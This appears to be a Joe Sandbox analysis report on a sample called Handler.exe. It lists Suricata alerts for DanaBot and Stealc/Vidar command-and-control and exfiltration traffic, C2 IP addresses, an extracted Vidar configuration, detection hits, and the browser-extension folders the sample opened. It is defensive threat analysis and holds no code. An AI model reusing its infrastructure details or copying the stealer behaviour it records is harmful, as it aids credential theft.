2025-01-15T20:22:19.099576+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50450	194.32.76.77	443	TCP
2025-01-15T20:22:20.174415+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50451	45.76.251.57	443	TCP
2025-01-15T20:22:26.620031+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50456	194.32.76.77	443	TCP
2025-01-15T20:22:26.684872+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50457	45.76.251.57	443	TCP
2025-01-15T20:22:26.735919+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50458	194.32.76.77	443	TCP
2025-01-15T20:22:26.780429+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50459	45.76.251.57	443	TCP
2025-01-15T20:22:34.234785+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50464	194.32.76.77	443	TCP
2025-01-15T20:22:35.312456+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50465	45.76.251.57	443	TCP
2025-01-15T20:22:36.370627+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50466	194.32.76.77	443	TCP
2025-01-15T20:22:37.471267+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50467	45.76.251.57	443	TCP
2025-01-15T20:22:40.842623+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50472	194.32.76.77	443	TCP
2025-01-15T20:22:41.922196+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50473	45.76.251.57	443	TCP
2025-01-15T20:22:43.002152+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50474	194.32.76.77	443	TCP
2025-01-15T20:22:44.085932+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50475	45.76.251.57	443	TCP
2025-01-15T20:22:49.511855+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50480	194.32.76.77	443	TCP
2025-01-15T20:22:49.576675+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50481	45.76.251.57	443	TCP
2025-01-15T20:22:49.636624+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50482	194.32.76.77	443	TCP
2025-01-15T20:22:49.699671+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50483	45.76.251.57	443	TCP
2025-01-15T20:22:57.118436+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50488	194.32.76.77	443	TCP
2025-01-15T20:22:58.197438+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50489	45.76.251.57	443	TCP
2025-01-15T20:22:59.268214+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50490	194.32.76.77	443	TCP
2025-01-15T20:23:00.344588+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50491	45.76.251.57	443	TCP
2025-01-15T20:23:03.650451+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50496	194.32.76.77	443	TCP
2025-01-15T20:23:04.724974+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50497	45.76.251.57	443	TCP
2025-01-15T20:23:05.804664+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50498	194.32.76.77	443	TCP
2025-01-15T20:23:06.870449+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50499	45.76.251.57	443	TCP
2025-01-15T20:23:12.176679+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50504	194.32.76.77	443	TCP
2025-01-15T20:23:12.224251+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50505	45.76.251.57	443	TCP
2025-01-15T20:23:12.274676+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50506	194.32.76.77	443	TCP
2025-01-15T20:23:12.314757+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50507	45.76.251.57	443	TCP
2025-01-15T20:23:19.678605+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50512	194.32.76.77	443	TCP
2025-01-15T20:23:20.730143+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50513	45.76.251.57	443	TCP
2025-01-15T20:23:21.793063+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50514	194.32.76.77	443	TCP
2025-01-15T20:23:22.863783+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50515	45.76.251.57	443	TCP
2025-01-15T20:23:25.216869+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50520	194.32.76.77	443	TCP
2025-01-15T20:23:26.278642+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50521	45.76.251.57	443	TCP
2025-01-15T20:23:27.352514+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50522	194.32.76.77	443	TCP
2025-01-15T20:23:28.425593+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50523	45.76.251.57	443	TCP
2025-01-15T20:23:33.832820+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50528	194.32.76.77	443	TCP
2025-01-15T20:23:33.876649+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50529	45.76.251.57	443	TCP
2025-01-15T20:23:33.933266+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50530	194.32.76.77	443	TCP
2025-01-15T20:23:33.984697+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50531	45.76.251.57	443	TCP
2025-01-15T20:23:41.385460+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50536	194.32.76.77	443	TCP
2025-01-15T20:23:42.449437+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50537	45.76.251.57	443	TCP
2025-01-15T20:23:43.515725+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50538	194.32.76.77	443	TCP
2025-01-15T20:23:44.586374+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50539	45.76.251.57	443	TCP
2025-01-15T20:23:46.842732+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50544	194.32.76.77	443	TCP
2025-01-15T20:23:47.932677+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50545	45.76.251.57	443	TCP
2025-01-15T20:23:49.015522+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50546	194.32.76.77	443	TCP
2025-01-15T20:23:50.096977+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50547	45.76.251.57	443	TCP
2025-01-15T20:23:55.438500+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50552	194.32.76.77	443	TCP
2025-01-15T20:23:55.499510+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50553	45.76.251.57	443	TCP
2025-01-15T20:23:55.551388+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50554	194.32.76.77	443	TCP
2025-01-15T20:23:55.613988+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50555	45.76.251.57	443	TCP
2025-01-15T20:24:02.961195+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50560	194.32.76.77	443	TCP
2025-01-15T20:24:04.024201+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50561	45.76.251.57	443	TCP
2025-01-15T20:24:05.132710+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50562	194.32.76.77	443	TCP
2025-01-15T20:24:06.213096+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50563	45.76.251.57	443	TCP
2025-01-15T20:24:08.513442+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50568	194.32.76.77	443	TCP
2025-01-15T20:24:09.587109+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50569	45.76.251.57	443	TCP
2025-01-15T20:24:10.657483+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50570	194.32.76.77	443	TCP
2025-01-15T20:24:11.752896+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50571	45.76.251.57	443	TCP
2025-01-15T20:24:17.143548+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50576	194.32.76.77	443	TCP
2025-01-15T20:24:17.191004+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50577	45.76.251.57	443	TCP
2025-01-15T20:24:17.254899+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50578	194.32.76.77	443	TCP
2025-01-15T20:24:17.327636+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50579	45.76.251.57	443	TCP
2025-01-15T20:24:24.691013+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50584	194.32.76.77	443	TCP
2025-01-15T20:24:25.763652+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50585	45.76.251.57	443	TCP
2025-01-15T20:24:26.844766+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50586	194.32.76.77	443	TCP
2025-01-15T20:24:27.906819+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50587	45.76.251.57	443	TCP
2025-01-15T20:24:30.190886+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50592	194.32.76.77	443	TCP
2025-01-15T20:24:31.250027+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50593	45.76.251.57	443	TCP
2025-01-15T20:24:32.334755+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50594	194.32.76.77	443	TCP
2025-01-15T20:24:33.399847+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50595	45.76.251.57	443	TCP
2025-01-15T20:24:39.802154+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50600	194.32.76.77	443	TCP
2025-01-15T20:24:39.853070+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50601	45.76.251.57	443	TCP
2025-01-15T20:24:40.909327+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50602	194.32.76.77	443	TCP
2025-01-15T20:24:40.955093+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50603	45.76.251.57	443	TCP
2025-01-15T20:24:48.342784+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50608	194.32.76.77	443	TCP
2025-01-15T20:24:49.424429+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50609	45.76.251.57	443	TCP
2025-01-15T20:24:50.479537+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50610	194.32.76.77	443	TCP
2025-01-15T20:24:51.547690+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50611	45.76.251.57	443	TCP
2025-01-15T20:24:53.877255+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50616	194.32.76.77	443	TCP
2025-01-15T20:24:54.942240+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50617	45.76.251.57	443	TCP
2025-01-15T20:24:56.017142+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50618	194.32.76.77	443	TCP
2025-01-15T20:24:57.088493+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50619	45.76.251.57	443	TCP
2025-01-15T20:25:02.463979+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50624	194.32.76.77	443	TCP
2025-01-15T20:25:03.549411+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50625	45.76.251.57	443	TCP
2025-01-15T20:25:03.620400+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50626	194.32.76.77	443	TCP
2025-01-15T20:25:03.695563+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50627	45.76.251.57	443	TCP
2025-01-15T20:25:11.053002+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50632	194.32.76.77	443	TCP
2025-01-15T20:25:12.106939+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50633	45.76.251.57	443	TCP
2025-01-15T20:25:13.200506+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50634	194.32.76.77	443	TCP
2025-01-15T20:25:14.265167+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50635	45.76.251.57	443	TCP
2025-01-15T20:25:16.531681+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50640	194.32.76.77	443	TCP
2025-01-15T20:25:17.627826+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50641	45.76.251.57	443	TCP
2025-01-15T20:25:18.713838+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50642	194.32.76.77	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T20:16:09.679913+0100	2044247	1	Malware Command and Control Activity Detected	116.203.164.230	443	192.168.2.5	49714	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T20:16:11.027561+0100	2051831	1	Malware Command and Control Activity Detected	116.203.164.230	443	192.168.2.5	49715	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T20:16:08.418065+0100	2049087	1	A Network Trojan was detected	192.168.2.5	49712	116.203.164.230	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T20:16:54.138558+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50137	162.0.209.157	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T20:16:07.070284+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.5	49707	116.203.164.230	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.2378670031.0000000004059000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199817305251", "Botnet": "fc0stn"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\us0r9ri58y.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe	ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: Handler.exe	Virustotal: Detection: 29%			Perma Link
Source: Handler.exe	ReversingLabs: Detection: 28%

Yara detected DanaBot stealer dll

Source: Yara match	File source: 22.0.us0r9ri58y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000000.2625608895.0000000000419000.00000020.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\us0r9ri58y.exe, type: DROPPED

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\us0r9ri58y.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Handler.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0040C009 CryptUnprotectData,

1_2_0040C009

Source: Handler.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49769 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.164.230:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.209.157:443 -> 192.168.2.5:50137 version: TLS 1.2

Source: Handler.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Handler.pdbx source: Handler.exe, 00000000.00000002.2378670031.0000000004059000.00000004.00000800.00020000.00000000.sdmp, Handler.exe, 00000000.00000000.2064432922.0000000000BD2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: Handler.pdb source: Handler.exe, 00000000.00000002.2378670031.0000000004059000.00000004.00000800.00020000.00000000.sdmp, Handler.exe, 00000000.00000000.2064432922.0000000000BD2000.00000002.00000001.01000000.00000003.sdmp

Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041008C FindFirstFileA,	1_2_0041008C
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004291EA FindFirstFileA,	1_2_004291EA
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00428248 FindFirstFileA,memset,memset,	1_2_00428248
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042A4E5 FindFirstFileA,	1_2_0042A4E5
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040E749 FindFirstFileA,	1_2_0040E749
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040177C FindFirstFileA,	1_2_0040177C
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00412AC9 FindFirstFileA,	1_2_00412AC9
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040CCEA FindFirstFileA,	1_2_0040CCEA
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042BD1E FindFirstFileA,	1_2_0042BD1E
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004018DA FindFirstFileA,	1_2_004018DA

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_00428DDA GetLogicalDriveStringsA,

1_2_00428DDA

Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 20MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50236 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50233 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50243 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50235 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50244 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50234 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50249 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50257 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50269 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50250 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50242 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50271 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50252 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50270 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50251 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50278 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50241 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50260 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50287 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50279 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50280 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50303 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50314 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50272 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50259 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50317 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50258 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50295 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50316 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50293 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50322 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50296 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50301 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50285 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50324 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50286 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50302 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50304 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50277 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50294 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50288 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50315 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50325 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50331 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50326 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50332 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50339 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50340 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50342 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50334 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50341 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50348 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50353 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50347 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50361 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50354 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50360 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50369 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50368 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50362 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50370 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50383 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50367 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50384 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50378 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50392 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50387 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50395 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50375 -> 194.32.76.77:443
